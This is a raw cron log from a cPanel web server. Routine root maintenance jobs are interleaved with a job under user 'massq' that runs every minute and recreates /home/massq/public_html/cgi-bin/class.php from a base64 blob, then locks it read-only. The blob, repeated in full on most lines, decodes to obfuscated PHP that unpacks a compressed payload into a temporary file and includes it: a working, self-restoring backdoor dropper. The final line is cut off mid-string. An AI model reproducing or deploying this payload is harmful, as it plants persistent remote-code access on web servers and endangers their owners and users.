Apr  6 21:34:01 server CROND[14875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:35:01 server CROND[15057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:35:01 server CROND[15058]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 21:35:01 server CROND[15059]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 21:35:01 server CROND[15056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:35:01 server CROND[15068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:36:01 server CROND[15189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:37:01 server CROND[15249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:38:01 server CROND[15314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:39:01 server CROND[15421]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 21:39:01 server CROND[15422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:40:01 server CROND[15589]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 21:40:01 server CROND[15590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:40:01 server CROND[15591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:40:01 server CROND[15592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:41:01 server CROND[15712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:42:01 server CROND[15777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:42:01 server CROND[15778]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 21:43:01 server CROND[15898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:44:01 server CROND[15956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:45:01 server CROND[16129]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 21:45:01 server CROND[16130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 21:45:01 server CROND[16131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:46:01 server CROND[16266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 21:47:01 server CROND[16339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH